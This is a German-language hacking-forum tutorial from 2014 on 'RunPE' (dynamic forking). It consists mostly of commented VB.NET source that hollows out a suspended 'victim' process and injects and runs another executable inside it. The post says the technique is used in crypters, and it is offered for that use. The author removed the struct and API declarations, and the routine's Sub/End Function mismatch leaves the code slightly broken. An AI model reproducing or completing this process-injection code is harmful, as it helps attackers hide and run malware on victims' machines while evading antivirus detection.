1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

[Tutorial] RunPE (Dynamic forking)

Discussion in 'Tutorials' started by VBTyp, Apr 16, 2014.

Thread Status:
Not open for further replies.
  1. VBTyp

    VBTyp New Member

    Joined:
    Apr 16, 2013
    Messages:
    453
    Likes Received:
    1
    RunPE Tutorial by VBTyp

    Einführung:
    RunPE's (auch als Dynamic Forking bekannt) werden in scheinbar jedem Crypter verwendet, allerdings können nur eine handvoll Leute selber eine schreiben. Deshalb gibts hier jetzt das welterste RunPE Tutorial :)

    Voraussetzungen:

    Grundkenntnisse in VB.Net
    Verstehen der PE Grundlagen

    Source:
    Ich habe das Tutorial in Sourceform gemacht. Als Kiddieschutz wurden sämtliche Structs und Funktionen entfernt.
    Code:
        ' _____             _____  ______   _______    _             _       _   _            __      ______ _______ 
        '|  __ \           |  __ \|  ____| |__   __|  | |           (_)     | | | |           \ \    / /  _ \__   __|
        '| |__) |   _ _ __ | |__) | |__       | |_   _| |_ ___  _ __ _  __ _| | | |__  _   _   \ \  / /| |_) | | |_   _ _ __          
        '|  _  / | | | '_ \|  ___/|  __|      | | | | | __/ _ \| '__| |/ _` | | | '_ \| | | |   \ \/ / |  _ <  | | | | | '_ \ 
        '| | \ \ |_| | | | | |    | |____     | | |_| | || (_) | |  | | (_| | | | |_) | |_| |    \  /  | |_) | | | |_| | |_) |
        '|_|  \_\__,_|_| |_|_|    |______|    |_|\__,_|\__\___/|_|  |_|\__,_|_| |_.__/ \__, |     \/   |____/  |_|\__, | .__/          
        '                          Also known as dynamic forking                        __/ |                      __/ | |    
        '                          http://www.youtube.com/VBTyp                        |___/                      |___/|_|  
    
         Sub RunPE(ByVal victim As String, ByVal executable As Byte())
    
            'Wir definieren uns unsere Prozessinformation, unsere Startupinfo und unseren Threadcontext
            Dim processInformation As PROCESS_INFORMATION = New PROCESS_INFORMATION()
            Dim context As New CONTEXT
    
            'Wir legen die Contextflags unseres späteren Prozesses (in dem dann unsere Anwendung läuft) fest
            context.ContextFlags = &H10002
    
            'Wir holen uns über das GCHandle unserer auszuführenden Anwendung dessen Modulebase und setzen den imageDosHeader Pointer (*imageDosHeader) auf die Modulebase
            Dim hGC As GCHandle = GCHandle.Alloc(executable, GCHandleType.Pinned)
            Dim ModuleBase As Integer = hGC.AddrOfPinnedObject
            Dim imageDosHeader As IMAGE_DOS_HEADER = Marshal.PtrToStructure(New IntPtr(ModuleBase), imageDosHeader.GetType)
            hGC.Free()
    
            'Wir starten unseren Opferprozess und lesen dabei gleich dessen Prozessinformation und Startupinfo aus
            CreateProcess(Nothing, victim, New SECURITY_ATTRIBUTES, New SECURITY_ATTRIBUTES, False, 4, Nothing, Nothing, new STARTUPINFO(), processInformation)
    
            'Wir legen den Pointer unserer ImageNtHeaders Struct auf die Adresse der Modulbase unser auszuführenden Anwendung + den Offset bis zum Anfang der IMAGE_NT_HEADERS Struct
            Dim imageNtHeaders As IMAGE_NT_HEADERS = Marshal.PtrToStructure(New IntPtr(ModuleBase + imageDosHeader.e_lfanew), imageNtHeaders.GetType)
    
            'Mit machen in dem Opferprozess Platz für unsere Anwendung
            NtUnmapViewOfSection(processInformation.hProcess, imageNtHeaders.OptionalHeader.ImageBase)
    
            'Wir sichern uns genug Platz für unsere Anwendung (wir eigentlich nur benötigt, wenn das Anwendungsimage größer als das Prozessimage ist)
            Dim newImageBase As IntPtr = VirtualAllocEx(processInformation.hProcess, imageNtHeaders.OptionalHeader.ImageBase, imageNtHeaders.OptionalHeader.SizeOfImage, &H3000, &H40)
    
            'Wir schreiben die Header unserer Anwendung in den Opferprozess
            NtWriteVirtualMemory(processInformation.hProcess, newImageBase, executable, imageNtHeaders.OptionalHeader.SizeOfHeaders, Nothing)
    
            'Wir schreiben alle Sections unserer Anwendung in den Opferprozess
            For i = 0 To imageNtHeaders.FileHeader.NumberOfSections - 1
    
                Dim imageSectionHeaders As IMAGE_SECTION_HEADER = Marshal.PtrToStructure(New IntPtr(ModuleBase + imageDosHeader.e_lfanew + 248 + i * 40), imageSectionHeaders.GetType)
    
                Dim rawData As Byte() = New Byte(imageSectionHeaders.SizeOfRawData - 1) {}
                Buffer.BlockCopy(executable, imageSectionHeaders.PointerToRawData, rawData, 0, rawData.Length)
    
                NtWriteVirtualMemory(processInformation.hProcess, newImageBase + imageSectionHeaders.VirtualAddress, rawData, imageSectionHeaders.SizeOfRawData, Nothing)
    
            Next i
    
            'Wir holen uns den Threadcontext unseres Opferprozesses
            NtGetContextThread(processInformation.hThread, context)
    
            'Wir schreiben die Baseadresse unserer Anwendung in den PEB des Opferprozesses (context.EBX + 8)
            NtWriteVirtualMemory(processInformation.hProcess, context.Ebx + 8, BitConverter.GetBytes(newImageBase.ToInt32()), 4, Nothing)
    
            'Wir setzen den Entrypoint des Prozesses auf den Entrypoint unserer Anwendung (Entrypoint = Wert von EAX)
            context.Eax = imageNtHeaders.OptionalHeader.ImageBase + imageNtHeaders.OptionalHeader.AddressOfEntryPoint
    
            'Wir updaten den Threadcontext des Opferprozesses
            NtSetContextThread(processInformation.hThread, context)
    
            'Wir lassen den kompromitierten Prozess weiterlaufen
            NtResumeThread(processInformation.hThread, 0)
    
        End Function
    
    Bei Fragen einfach in den Thread schreiben ;)
     
Thread Status:
Not open for further replies.